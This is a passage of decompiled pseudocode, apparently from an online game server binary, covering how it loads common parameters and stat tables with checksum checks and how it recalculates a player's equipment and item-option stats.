OptionReader::or_Select(&v2->scp_or, "argument", v63, (char *)v68, (char *)v69, v70, &v71->type); v71 = &LostExpLevel; v70 = 0; v69 = (unsigned int)"LostExpLevel"; v68 = (unsigned int)"key"; PrisonTime.pnt = v15; i = (int)&v63; v67 = 0; v66 = 0; v65 = 0; v64 = 0; *(_DWORD *)&v63.ort_Name[0] = 0; strncpy(v63.ort_Name, "Common", 0x14u); LostExpLevel.pnt = OptionReader::or_Select(&v2->scp_or, "argument", v63, (char *)v68, (char *)v69, v70, &v71->type); v71 = &MaxFreeStat; v70 = 0; v69 = (unsigned int)"MaxFreeStat"; v68 = (unsigned int)"key"; i = (int)&v63; v67 = 0; v66 = 0; v65 = 0; v64 = 0; *(_DWORD *)&v63.ort_Name[0] = 0; strncpy(v63.ort_Name, "Common", 0x14u); v16 = OptionReader::or_Select(&v2->scp_or, "argument", v63, (char *)v68, (char *)v69, v70, &v71->type); MaxFreeStat.pnt = v16; if ( !runspeed.pnt || !walkspeed.pnt || !levellimit.pnt || !maxexpbonus.pnt || !attackspeed.pnt || !shoutlevel.pnt || !shoutdelay.pnt || !RestExpRate.pnt || !MinNeedTime.pnt || !DefaultBonusTime.pnt || !IntervalTime.pnt || !AddBuffTime.pnt || !MaxBuffTime.pnt || !PrisonTime.pnt || !LostExpLevel.pnt || !v16 ) { AssertClass::ac_AssertFail(&shineassert, "ShineCommonParameter::scp_Load : NULL(MaxExpBonus)", 0); ShineExit("ShineCommonParameter::scp_Load"); } if ( runspeed.type != 5 || walkspeed.type != 5 || levellimit.type != 5 || maxexpbonus.type != 5 || attackspeed.type != 5 || shoutlevel.type != 5 || shoutdelay.type != 5 || RestExpRate.type != 5 || MinNeedTime.type != 5 || DefaultBonusTime.type != 5 || IntervalTime.type != 5 || AddBuffTime.type != 5 || MaxBuffTime.type != 5 || PrisonTime.type != 5 || LostExpLevel.type != 5 || MaxFreeStat.type != 5 ) { AssertClass::ac_AssertFail(&shineassert, "ShineCommonParameter::scp_Load : TYPE(MaxExpBonus)", 0); ShineExit("ShineCommonParameter::scp_Load"); } v17 = walkspeed.pnt; v2->scp_param.chrrunspeed = *(_DWORD *)runspeed.pnt; v18 = attackspeed.pnt; v2->scp_param.chrwalkspeed = *(_DWORD *)v17; v19 = shoutlevel.pnt; v2->scp_param.chrattackspeed = *(_DWORD *)v18; v20 = shoutdelay.pnt; v2->scp_param.shoutlevel = *(_DWORD *)v19; v21 = levellimit.pnt; v2->scp_param.shoutdelay = *(_DWORD *)v20; v22 = maxexpbonus.pnt; v2->scp_param.levellimit = *(_BYTE *)v21; v23 = RestExpRate.pnt; i = *(_WORD *)v22; v24 = MinNeedTime.pnt; v25 = (int)&v2->scp_param.nextexp[1]; v26 = (double)i; i = 1; v2->scp_param.maxexpbonus = v26 * 0.001; v2->scp_param.RestExpRate = *(_DWORD *)v23; v27 = DefaultBonusTime.pnt; v2->scp_param.MinNeedTime = *(_DWORD *)v24; v28 = IntervalTime.pnt; v2->scp_param.DefaultBonusTime = *(_DWORD *)v27; v29 = AddBuffTime.pnt; v2->scp_param.IntervalTime = *(_DWORD *)v28; v30 = MaxBuffTime.pnt; v2->scp_param.AddBuffTime = *(_DWORD *)v29; v31 = PrisonTime.pnt; v2->scp_param.MaxBuffTime = *(_DWORD *)v30; v32 = LostExpLevel.pnt; v2->scp_param.PrisonTime = *(_DWORD *)v31; v33 = MaxFreeStat.pnt; v2->scp_param.LostExpLevel = *(_BYTE *)v32; v2->scp_param.MaxFreeStat = *(_BYTE *)v33; LODWORD(v2->scp_param.nextexp[0]) = 0; HIDWORD(v2->scp_param.nextexp[0]) = 0; v76 = &v2->scp_param.commonparam[1]; do { v34 = i; v71 = 0; v70 = i; v69 = (unsigned int)"level"; v74 = &v64; v68 = 0; v67 = 0; v66 = 0; v65 = 0; v64 = 0; strncpy((char *)&v64, "StatTable", 0x14u); v35 = OptionReader::or_SelectFrom(&v2->scp_or, *(ORToken *)&v64, (char *)v69, v70, (int)v71); *v76 = (ShineCommonParameter::CommonParameter *)v35; if ( v35 == 0 ) { AssertClass::ac_AssertFail(&shineassert, "ShineCommonParameter::scp_Load : Error in commonparam", v34); ShineExit("ShineCommonParameter::scp_Load"); } v36 = (*v76)->level != (*v76)->checksum; v74 = (int *)((*v76)->level == (*v76)->checksum); if ( v36 ) { AssertClass::ac_AssertFail(&shineassert, "ShineCommonParameter::scp_Load : Error CheckSum in commonparam", v34); ShineExit("ShineCommonParameter::scp_Load"); } v37 = (int)(*v76)->nextexp; *(_DWORD *)v25 = 0; for ( *(_DWORD *)(v25 + 4) = 0; *(_BYTE *)v37; *(_QWORD *)v25 = v42 ) { v38 = *(_DWORD *)(v25 + 4); v39 = *(_DWORD *)v25; *(_QWORD *)&v70 = 10i64; *(_QWORD *)&v68 = __PAIR__(v38, v39); v40 = 10 * __PAIR__(v38, v39); *(_DWORD *)v25 = v40; v41 = *(_DWORD *)v25; *(_DWORD *)(v25 + 4) = HIDWORD(v40); v42 = (signed int)*(_BYTE *)v37++ - 48 + __PAIR__(*(_DWORD *)(v25 + 4), v41); } v43 = 0; do { if ( (*v76)->stat[v43] > v2->scp_param.MaxFreeStat ) { AssertClass::ac_AssertFail(&shineassert, "ShineCommonParameter::scp_Load : Error Over the MaxFreeStat", v43); ShineExit("ShineCommonParameter::scp_Load"); } ++v43; } while ( v43 < 26 ); v25 += 8; v44 = (unsigned int)(i++ + 1) < 0x97; ++v76; } while ( v44 ); v45 = v2->scp_param.commonparam[1]; v71 = (ShineCommonParameter::scp_Load::__l7::__unnamed *)(4 * v2->scp_param.MaxFreeStat + 4); v2->scp_param.commonparam[0] = v45; v46 = malloc((unsigned int)v71); v47 = v2->scp_param.MaxFreeStat; v2->scp_param.freestatStr = (ShineCommonParameter::FreeStatStr **)v46; v70 = 4 * v47 + 4; v48 = malloc(v70); v69 = 4 * v2->scp_param.MaxFreeStat + 4; v2->scp_param.freestatInt = (ShineCommonParameter::FreeStatInt **)v48; v2->scp_param.freestatDex = (ShineCommonParameter::FreeStatDex **)malloc(v69); v68 = 4 * v2->scp_param.MaxFreeStat + 4; v49 = malloc(v68); v50 = v2->scp_param.MaxFreeStat; v2->scp_param.freestatCon = (ShineCommonParameter::FreeStatCon **)v49; v67 = 4 * v50 + 4; v51 = malloc(v67); v52 = v2->scp_param.freestatStr; v2->scp_param.freestatMen = (ShineCommonParameter::FreeStatMen **)v51; if ( !v52 || !v2->scp_param.freestatInt || !v2->scp_param.freestatDex || !v2->scp_param.freestatCon || !v51 ) { AssertClass::ac_AssertFail(&shineassert, "ShineCommonParameter::scp_Load : Error FreeStat Memory Allocation", 0); ShineExit("ShineCommonParameter::scp_Load"); } v53 = 0; do { v71 = 0; v70 = v53; v69 = (unsigned int)"Stat"; v74 = &v64; v68 = 0; v67 = 0; v66 = 0; v65 = 0; v64 = 0; strncpy((char *)&v64, "FreeStatStrTable", 0x14u); v2->scp_param.freestatStr[v53] = (ShineCommonParameter::FreeStatStr *)OptionReader::or_SelectFrom( &v2->scp_or, *(ORToken *)&v64, (char *)v69, v70, (int)v71); if ( v2->scp_param.freestatStr[v53] == 0 ) { AssertClass::ac_AssertFail(&shineassert, "ShineCommonParameter::scp_Load : Error NextExp in freestatStr", v53); ShineExit("ShineCommonParameter::scp_Load"); } v54 = v2->scp_param.freestatStr[v53]; v36 = v54->Stat != v54->checksum; v74 = (int *)(v54->Stat == v54->checksum); if ( v36 ) { AssertClass::ac_AssertFail(&shineassert, "ShineCommonParameter::scp_Load : Error CheckSum in freestatStr", v53); ShineExit("ShineCommonParameter::scp_Load"); } ++v53; } while ( v53 <= v2->scp_param.MaxFreeStat ); v55 = 0; do { v71 = 0; v70 = v55; v69 = (unsigned int)"Stat"; v74 = &v64; v68 = 0; v67 = 0; v66 = 0; v65 = 0; v64 = 0; strncpy((char *)&v64, "FreeStatIntTable", 0x14u); v2->scp_param.freestatInt[v55] = (ShineCommonParameter::FreeStatInt *)OptionReader::or_SelectFrom( &v2->scp_or, *(ORToken *)&v64, (char *)v69, v70, (int)v71); if ( v2->scp_param.freestatInt[v55] == 0 ) { AssertClass::ac_AssertFail(&shineassert, "ShineCommonParameter::scp_Load : Error NextExp in freestatInt", v55); ShineExit("ShineCommonParameter::scp_Load"); } v56 = v2->scp_param.freestatInt[v55]; v36 = v56->Stat != v56->checksum; v74 = (int *)(v56->Stat == v56->checksum); if ( v36 ) { AssertClass::ac_AssertFail(&shineassert, "ShineCommonParameter::scp_Load : Error CheckSum in freestatInt", v55); ShineExit("ShineCommonParameter::scp_Load"); } ++v55; } while ( v55 <= v2->scp_param.MaxFreeStat ); v57 = 0; do { v71 = 0; v70 = v57; v69 = (unsigned int)"Stat"; v74 = &v64; v68 = 0; v67 = 0; v66 = 0; v65 = 0; v64 = 0; strncpy((char *)&v64, "FreeStatConTable", 0x14u); v2->scp_param.freestatCon[v57] = (ShineCommonParameter::FreeStatCon *)OptionReader::or_SelectFrom( &v2->scp_or, *(ORToken *)&v64, (char *)v69, v70, (int)v71); if ( v2->scp_param.freestatCon[v57] == 0 ) { AssertClass::ac_AssertFail(&shineassert, "ShineCommonParameter::scp_Load : Error NextExp in freestatCon", v57); ShineExit("ShineCommonParameter::scp_Load"); } v58 = v2->scp_param.freestatCon[v57]; v36 = v58->Stat != v58->checksum; v74 = (int *)(v58->Stat == v58->checksum); if ( v36 ) { AssertClass::ac_AssertFail(&shineassert, "ShineCommonParameter::scp_Load : Error CheckSum in freestatCon", v57); ShineExit("ShineCommonParameter::scp_Load"); } ++v57; } while ( v57 <= v2->scp_param.MaxFreeStat ); v59 = 0; do { v71 = 0; v70 = v59; v69 = (unsigned int)"Stat"; v74 = &v64; v68 = 0; v67 = 0; v66 = 0; v65 = 0; v64 = 0; strncpy((char *)&v64, "FreeStatDexTable", 0x14u); v2->scp_param.freestatDex[v59] = (ShineCommonParameter::FreeStatDex *)OptionReader::or_SelectFrom( &v2->scp_or, *(ORToken *)&v64, (char *)v69, v70, (int)v71); if ( v2->scp_param.freestatDex[v59] == 0 ) { AssertClass::ac_AssertFail(&shineassert, "ShineCommonParameter::scp_Load : Error NextExp in freestatDex", v59); ShineExit("ShineCommonParameter::scp_Load"); } v60 = v2->scp_param.freestatDex[v59]; v36 = v60->Stat != v60->checksum; v74 = (int *)(v60->Stat == v60->checksum); if ( v36 ) { AssertClass::ac_AssertFail(&shineassert, "ShineCommonParameter::scp_Load : Error CheckSum in freestatDex", v59); ShineExit("ShineCommonParameter::scp_Load"); } ++v59; } while ( v59 <= v2->scp_param.MaxFreeStat ); v61 = 0; do { v71 = 0; v70 = v61; v69 = (unsigned int)"Stat"; v74 = &v64; v68 = 0; v67 = 0; v66 = 0; v65 = 0; v64 = 0; strncpy((char *)&v64, "FreeStatMenTable", 0x14u); v2->scp_param.freestatMen[v61] = (ShineCommonParameter::FreeStatMen *)OptionReader::or_SelectFrom( &v2->scp_or, *(ORToken *)&v64, (char *)v69, v70, (int)v71); if ( v2->scp_param.freestatMen[v61] == 0 ) { AssertClass::ac_AssertFail(&shineassert, "ShineCommonParameter::scp_Load : Error NextExp in freestatMen", v61); ShineExit("ShineCommonParameter::scp_Load"); } v62 = v2->scp_param.freestatMen[v61]; v36 = v62->Stat != v62->checksum; v74 = (int *)(v62->Stat == v62->checksum); if ( v36 ) { AssertClass::ac_AssertFail(&shineassert, "ShineCommonParameter::scp_Load : Error CheckSum in freestatMen", v61); v71 = (ShineCommonParameter::scp_Load::__l7::__unnamed *)"ShineCommonParameter::scp_Load"; JUMPOUT(*(int *)unk_4B433D); } ++v61; } while ( v61 <= v2->scp_param.MaxFreeStat ); --funcallanalizer.fca_stackpoint; v97 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "ShineCommonParameter::scp_Load"); __security_check_cookie((unsigned int)&v72 ^ *(_DWORD *)&path[124]); } // 4B433D: using guessed type int __thiscall(OptionReader *this, int world); //----- (004B43A0) -------------------------------------------------------- void __usercall FillRandomOption(ItemDataBox::ItemDataBoxIndex *itemdata, int *itemstat, ItemInventoryCell *itemcell) { ItemDataBox::ItemDataBoxIndex *v3; // esi@1 GradeItemOption *v4; // ecx@1 ItemInventoryCell *v5; // ebx@3 int v6; // eax@3 int v7; // ebp@3 char v8; // al@4 int v9; // ebx@6 int v10; // ecx@9 int *v11; // eax@9 int v12; // edx@9 unsigned int v13; // esi@16 signed int k; // [sp+8h] [bp-18h]@5 v3 = itemdata; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "FillRandomOption"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "FillRandomOption"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v4 = v3->itemoption; if ( v4 ) { *itemstat = v4->STR; itemstat[1] = v3->itemoption->CON; itemstat[2] = v3->itemoption->DEX; itemstat[3] = v3->itemoption->INT; itemstat[4] = v3->itemoption->MEN; itemstat[5] = v3->itemoption->ToHitPlus; itemstat[6] = v3->itemoption->Critical; itemstat[7] = 0; itemstat[8] = 0; itemstat[9] = 0; itemstat[10] = 0; itemstat[11] = v3->itemoption->ToBlockPlus; itemstat[12] = 0; itemstat[13] = 0; } v5 = itemcell; v6 = ((int (__stdcall *)(SHINE_ITEM_STRUCT *))itemcell->iic_AttrProc->vfptr->iac_GetItemOptionStruct)(&itemcell->iic_Item.iti_itemstruct); v7 = v6; if ( v6 ) { v8 = *(_BYTE *)v6; if ( *(_BYTE *)v7 & 1 ) { k = 0; if ( v8 & 0xFE ) { v9 = v7 + 1; do { if ( *(_BYTE *)v9 < 0xEu ) { v10 = *(_WORD *)(v9 + 1); v11 = &itemstat[*(_BYTE *)v9]; v12 = *v11; if ( v3->data->Class == 4 ) { *v11 = v10 + v12; } else { if ( v12 < v10 ) *v11 = v10; } } else { AssertClass::ac_AssertFail(&shineassert, "FillRandomOption : Type err", *(_BYTE *)v9); } v9 += 3; ++k; } while ( k < (signed int)((unsigned int)*(_BYTE *)v7 >> 1) ); v5 = itemcell; } } } if ( v3->data->Class == 4 ) { v13 = 0; do { itemstat[v13] += (unsigned __int16)((int (__stdcall *)(SHINE_ITEM_STRUCT *, unsigned int))v5->iic_AttrProc->vfptr->iac_GetItemOptionUpgrade)( &v5->iic_Item.iti_itemstruct, v13); ++v13; } while ( v13 < 0xE ); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "FillRandomOption"); } //----- (004B4550) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_RecalcEquipParam(void *this) { void *v1; // ebp@1 int v2; // eax@1 int v3; // ecx@1 int v4; // eax@1 ItemDataBox::ItemDataBoxIndex *v5; // eax@2 ItemInfoServer *v6; // eax@3 ItemServerEquipTypeInfo *v7; // eax@4 int v8; // eax@11 int v9; // ebx@11 unsigned __int16 v10; // di@12 ItemDataBox::ItemDataBoxIndex *v11; // esi@12 int v12; // eax@16 int v13; // eax@19 ItemAttributeClass *v14; // eax@21 CIDEB_Element *v15; // eax@23 int v16; // edi@26 int v17; // edx@26 int v18; // ecx@26 int v19; // edi@26 int v20; // edx@26 int v21; // edi@26 int v22; // ecx@26 int v23; // edx@26 int v24; // edi@26 int v25; // ecx@26 int v26; // eax@26 int v27; // edi@26 int v28; // ecx@26 int v29; // edi@26 int v30; // eax@26 int v31; // edx@26 int v32; // edi@26 int v33; // eax@26 int v34; // ecx@26 int v35; // eax@26 int v36; // edi@26 int v37; // edx@26 int v38; // eax@26 int v39; // edi@26 int v40; // edx@26 int v41; // eax@26 int v42; // ecx@26 int v43; // edx@26 int v44; // eax@26 int v45; // edi@26 int v46; // edx@26 int v47; // edi@26 int v48; // eax@26 int v49; // edx@26 int v50; // edi@26 int v51; // edx@26 int v52; // edi@26 int v53; // eax@26 int v54; // edx@26 int v55; // eax@26 int v56; // eax@26 int v57; // edx@26 int v58; // edi@26 GradeItemOption *v59; // edx@26 int v60; // ecx@27 unsigned __int8 v61; // bl@28 UpGradeInfo *v62; // eax@31 int v63; // ecx@34 int v64; // ecx@35 int v65; // eax@38 int v66; // edx@38 int v67; // eax@38 char toohanded; // [sp+17h] [bp-61h]@1 ITEM_INVEN inv; // [sp+18h] [bp-60h]@38 FunctionEntarance _; // [sp+1Ch] [bp-5Ch]@1 int v71; // [sp+20h] [bp-58h]@29 int ibii; // [sp+24h] [bp-54h]@7 char *v73; // [sp+28h] [bp-50h]@7 int v74; // [sp+2Ch] [bp-4Ch]@7 int v75; // [sp+30h] [bp-48h]@7 int itemstat; // [sp+34h] [bp-44h]@26 int v77; // [sp+38h] [bp-40h]@26 int v78; // [sp+3Ch] [bp-3Ch]@26 int v79; // [sp+40h] [bp-38h]@26 int v80; // [sp+44h] [bp-34h]@26 int v81; // [sp+48h] [bp-30h]@26 int v82; // [sp+4Ch] [bp-2Ch]@26 int v83; // [sp+50h] [bp-28h]@26 int v84; // [sp+54h] [bp-24h]@26 int v85; // [sp+58h] [bp-20h]@26 int v86; // [sp+5Ch] [bp-1Ch]@26 int v87; // [sp+60h] [bp-18h]@26 int v88; // [sp+64h] [bp-14h]@26 int v89; // [sp+74h] [bp-4h]@1 v1 = this; _.fe_FunctionCode = "ShineObjectClass::ShinePlayer::so_RecalcEquipParam"; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_RecalcEquipParam"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_RecalcEquipParam"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; v2 = *((_WORD *)v1 + 71358); memcpy((char *)v1 + 4052, ¶meter_eraser_plus, 0xC0u); memcpy((char *)v1 + 4244, ¶meter_eraser_rate, 0xC0u); memcpy((char *)v1 + 4436, ¶meter_eraser_plus, 0xC0u); memcpy((char *)v1 + 4628, ¶meter_eraser_rate, 0xC0u); v3 = *((_WORD *)v1 + 71359); *((_DWORD *)v1 + 1164) = v3; *((_DWORD *)v1 + 1169) = v3; *((_DWORD *)v1 + 1162) = v2; *((_DWORD *)v1 + 1163) = v2; *((_DWORD *)v1 + 1167) = v2; *((_DWORD *)v1 + 1168) = v2; memcpy((char *)v1 + 4820, ¶meter_eraser_plus, 0xC0u); memcpy((char *)v1 + 5012, ¶meter_eraser_rate, 0xC0u); v89 = 0; *((_DWORD *)v1 + 1093) = 0; toohanded = 0; v4 = (*(int (__thiscall **)(char *, signed int))*((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 12); if ( v4 ) { v5 = ItemDataBox::operator__(&itemdatabox, *(_WORD *)(v4 + 8)); if ( v5 ) { v6 = v5->dataserv; if ( v6 ) { v7 = ItemEquipTable::iet_GetArray(&g_ItemEquipTable, v6->ISET_Index); if ( v7 ) { if ( v7->Equ_LeftHand == 2 ) toohanded = 1; } } } } *((_BYTE *)v1 + 143280) = 0; *((_BYTE *)v1 + 143306) = 0; ibii = (int)&ItemBoxIterator::_vftable_; v73 = (char *)v1 + 32312; v75 = (*(int (__thiscall **)(char *))(*((_DWORD *)v1 + 8078) + 8))((char *)v1 + 32312); ibii = (int)&ItemBoxIterItem::_vftable_; LOBYTE(v89) = 1; v74 = 0; if ( (unsigned __int8)ItemBoxIterItem::_vftable_(&ibii) || ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ) { while ( 1 ) { if ( toohanded && v74 == 10 || (v8 = (**(int (__stdcall ***)(_DWORD))v73)(v74), (v9 = v8) == 0) || (v10 = *(_WORD *)(v8 + 8), (v11 = ItemDataBox::operator__(&itemdatabox, *(_WORD *)(v8 + 8))) == 0) ) goto LABEL_37; if ( v74 != 11 ) break; v12 = (*(int (__thiscall **)(char *, signed int))*((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 10); if ( !v12 || *(_WORD *)(v12 + 8) == -1 ) goto LABEL_37; if ( v74 == 13 ) goto LABEL_19; LABEL_21: v14 = ItemAttributeClassContainer::operator__(&itmattcontainer, v10); if ( v14 ) { if ( v14->vfptr->iac_GetChargedNumber(v14, (ItemTotalInformation *)v9) || (*((_DWORD *)v1 + 35827) = &ShineObjectClass::ShineObject::so_CostumWeaponChargeing, (v15 = ChargedItemEffectDataBox::cideb_GetItemID(&chargedbuffdatabox, v10)) != 0) && v15->ce_Data->EffectEnum == 28 ) { *((_DWORD *)v1 + 35827) = v9; LABEL_26: *((_BYTE *)v1 + 143280) |= v11->MovingShot; *((_BYTE *)v1 + 143306) |= v11->dataserv->PreventAttack; *((_DWORD *)v1 + 1018) += v11->data->MinWC; *((_DWORD *)v1 + 1019) += v11->data->MaxWC; v16 = *((_DWORD *)v1 + 1023); *((_DWORD *)v1 + 1020) += v11->data->AC; v17 = *((_DWORD *)v1 + 1024); *((_DWORD *)v1 + 1023) = v11->data->MinMA + v16; v18 = *((_DWORD *)v1 + 1025); *((_DWORD *)v1 + 1024) = v11->data->MaxMA + v17; v19 = *((_DWORD *)v1 + 1021); *((_DWORD *)v1 + 1025) = v11->data->MR + v18; v20 = *((_DWORD *)v1 + 1022); *((_DWORD *)v1 + 1021) = v11->data->TH + v19; v21 = *((_DWORD *)v1 + 1040); v22 = *((_DWORD *)v1 + 1039); *((_DWORD *)v1 + 1022) = v11->data->TB + v20; *((_DWORD *)v1 + 1039) = v11->data->ShieldAC + v22; v23 = *((_DWORD *)v1 + 1041); *((_DWORD *)v1 + 1040) = v11->data->HitRatePlus + v21; v24 = *((_DWORD *)v1 + 1043); v25 = *((_DWORD *)v1 + 1042); *((_DWORD *)v1 + 1041) = v11->data->EvaRatePlus + v23; v26 = *((_DWORD *)v1 + 1093); *((_DWORD *)v1 + 1042) = v11->data->MACriPlus + v25; *((_DWORD *)v1 + 1093) = v11->data->CriRate + v26; *((_DWORD *)v1 + 1043) = v11->data->CriDamPlus + v24; v27 = *((_DWORD *)v1 + 1162); *((_DWORD *)v1 + 1044) += v11->data->MagCriDamPlus; *((_DWORD *)v1 + 1102) += v11->data->CrlTB; v28 = *((_DWORD *)v1 + 1163); *((_DWORD *)v1 + 1162) = v11->data->WCRate - 1000 + v27; v29 = *((_DWORD *)v1 + 1164); *((_DWORD *)v1 + 1163) = v11->data->WCRate - 1000 + v28; *((_DWORD *)v1 + 1164) = v11->data->ACRate - 1000 + v29; *((_DWORD *)v1 + 1167) += v11->data->MARate - 1000; v30 = *((_DWORD *)v1 + 1169); *((_DWORD *)v1 + 1168) += v11->data->MARate - 1000; *((_DWORD *)v1 + 1169) = v11->data->MRRate - 1000 + v30; memset(&itemstat, 0, 0x38u); FillRandomOption((ItemInventoryCell *)v9, v11, &itemstat); v31 = v78; v32 = *((_DWORD *)v1 + 1015); v33 = *((_DWORD *)v1 + 1014); *((_DWORD *)v1 + 1013) += itemstat; v34 = *((_DWORD *)v1 + 1016); *((_DWORD *)v1 + 1014) = v77 + v33; v35 = *((_DWORD *)v1 + 1017); v36 = v31 + v32; v37 = v81; *((_DWORD *)v1 + 1016) = v79 + v34; v38 = v80 + v35; *((_DWORD *)v1 + 1015) = v36; v39 = v37 + *((_DWORD *)v1 + 1021); v40 = *((_DWORD *)v1 + 1045); *((_DWORD *)v1 + 1017) = v38; v41 = v82; *((_DWORD *)v1 + 1021) = v39; v42 = v39; v43 = v41 + v40; v44 = v83; v45 = *((_DWORD *)v1 + 1018); *((_DWORD *)v1 + 1045) = v43; v46 = v44 + *((_DWORD *)v1 + 1019); v47 = v44 + v45; v48 = v85; *((_DWORD *)v1 + 1019) = v46; v49 = v84; *((_DWORD *)v1 + 1018) = v47; v50 = v49 + *((_DWORD *)v1 + 1020); v51 = v48 + *((_DWORD *)v1 + 1023); *((_DWORD *)v1 + 1020) = v50; v52 = v48 + *((_DWORD *)v1 + 1024); v53 = v86; *((_DWORD *)v1 + 1023) = v51; v54 = v53 + *((_DWORD *)v1 + 1025); v55 = *((_DWORD *)v1 + 1022); *((_DWORD *)v1 + 1025) = v54; v56 = v87 + v55; v57 = v88; *((_DWORD *)v1 + 1024) = v52; v58 = v57 + *((_DWORD *)v1 + 1102); *((_DWORD *)v1 + 1022) = v56; *((_DWORD *)v1 + 1102) = v58; v59 = v11->itemoption; if ( v59 ) { *((_DWORD *)v1 + 1104) += v59->ResistPoison; *((_DWORD *)v1 + 1105) += v11->itemoption->ResistDeaseas; *((_DWORD *)v1 + 1106) += v11->itemoption->ResistCurse; *((_DWORD *)v1 + 1107) += v11->itemoption->ResistMoveSpdDown; *((_DWORD *)v1 + 1176) += v11->itemoption->MoveSpdRate; *((_DWORD *)v1 + 1028) += v11->itemoption->AbsoluteAttack; *((_DWORD *)v1 + 1036) += v11->itemoption->Critical; *((_DWORD *)v1 + 1165) += v11->itemoption->ToHitRate - 1000; *((_DWORD *)v1 + 1166) += v11->itemoption->ToBlockRate - 1000; *((_DWORD *)v1 + 1021) = v42 + v11->itemoption->ToHitPlus; *((_DWORD *)v1 + 1022) = v56 + v11->itemoption->ToBlockPlus; v60 = *((_DWORD *)v1 + 1049); *((_DWORD *)v1 + 1048) += v11->itemoption->MaxHP; *((_DWORD *)v1 + 1049) = v11->itemoption->MaxSP + v60; } v61 = (*(int (__stdcall **)(int))(**(_DWORD **)(v9 + 112) + 44))(v9); if ( v61 ) { v71 = v61 <= 0xCu; if ( v61 <= 0xCu ) { v62 = UpgradeDataBox::operator__(&upgradedatabox, v11->data->BasicUpInx); switch ( v62->UpFactor ) { case 0: *((_DWORD *)v1 + 1212) += *((_WORD *)&v62->UpFactor + v61 + 1); break; case 2: *((_DWORD *)v1 + 1231) += *((_WORD *)&v62->UpFactor + v61 + 1); break; case 1: v63 = *((_DWORD *)v1 + 1211); *((_DWORD *)v1 + 1210) += *((_WORD *)&v62->UpFactor + v61 + 1); *((_DWORD *)v1 + 1211) = *((_WORD *)&v62->UpFactor + v61 + 1) + v63; break; case 3: v64 = *((_DWORD *)v1 + 1216); *((_DWORD *)v1 + 1215) += *((_WORD *)&v62->UpFactor + v61 + 1); *((_DWORD *)v1 + 1216) = *((_WORD *)&v62->UpFactor + v61 + 1) + v64; break; case 4: *((_DWORD *)v1 + 1217) += *((_WORD *)&v62->UpFactor + v61 + 1); break; default: goto LABEL_37; } } else { AssertClass::ac_AssertFail( &shineassert, "ShineObjectClass::ShinePlayer::so_RecalcEquipParam : Invalid upgrade", v61); } } goto LABEL_37; } } LABEL_37: if ( !ItemBoxIterator::ibi_Next((ItemBoxIterator *)&ibii) ) goto LABEL_38; } if ( v74 != 13 ) goto LABEL_26; LABEL_19: v13 = (*(int (__thiscall **)(char *, signed int))*((int (__thiscall ***)(_DWORD, _DWORD))v1 + 8078))( (char *)v1 + 32312, 12); if ( !v13 || *(_WORD *)(v13 + 8) == -1 ) goto LABEL_37; goto LABEL_21; } LABEL_38: v65 = (*(int (__thiscall **)(void *, ITEM_INVEN *))(*(_DWORD *)v1 + 1964))(v1, &inv); v66 = *(_DWORD *)v1; *((_DWORD *)v1 + 35816) = v65; (*(void (__thiscall **)(void *))(v66 + 1316))(v1); *((_DWORD *)v1 + 35098) = ShineObjectClass::ShinePlayer::sp_RecoverPoint_HPAfterItemEquip; ShineObjectClass::ShinePlayer::sp_SetItemCheck(v1); v67 = *((_DWORD *)v1 + 35827); if ( v67 && *(_WORD *)(v67 + 8) == -1 ) *((_DWORD *)v1 + 35827) = &ShineObjectClass::ShineObject::so_CostumWeaponChargeing; --funcallanalizer.fca_stackpoint; ibii = (int)&ItemBoxIterator::_vftable_; v89 = -1; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_RecalcEquipParam"); } // 639188: using guessed type int (__thiscall *ItemBoxIterItem___vftable_)(_DWORD); // 130BD958: using guessed type struct ItemTotalInformation ShineObjectClass__ShineObject__so_CostumWeaponChargeing; //----- (004B4DA0) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_RecalcPassiveParam(void *this) { void *v1; // ebx@1 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_RecalcPassiveParam"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_RecalcPassiveParam"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; memcpy((char *)v1 + 5588, ¶meter_eraser_plus, 0xC0u); memcpy((char *)v1 + 5780, ¶meter_eraser_rate, 0xC0u); CharacterPassiveList::cpl_RecalcParam((CharacterPassiveList *)((char *)v1 + 68532), (ItemBag *)v1 + 965); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_RecalcPassiveParam"); } //----- (004B4E70) -------------------------------------------------------- void __thiscall ShineObjectClass::ShinePlayer::so_RecalcLastParam(void *this) { void *v1; // ebx@1 unsigned __int16 *v2; // eax@1 int v3; // edi@2 int v4; // esi@2 int v5; // edx@2 int v6; // ecx@2 v1 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance( &_PerformanceRecorder, "ShineObjectClass::ShinePlayer::so_RecalcLastParam"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "ShineObjectClass::ShinePlayer::so_RecalcLastParam"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; memcpy((char *)v1 + 6356, ¶meter_eraser_plus, 0xC0u); memcpy((char *)v1 + 6548, ¶meter_eraser_rate, 0xC0u); v2 = (unsigned __int16 *)PassiveDataBox::sdb_SpecSkillStruct((PassiveDataBox *)&passivedatabox); if ( 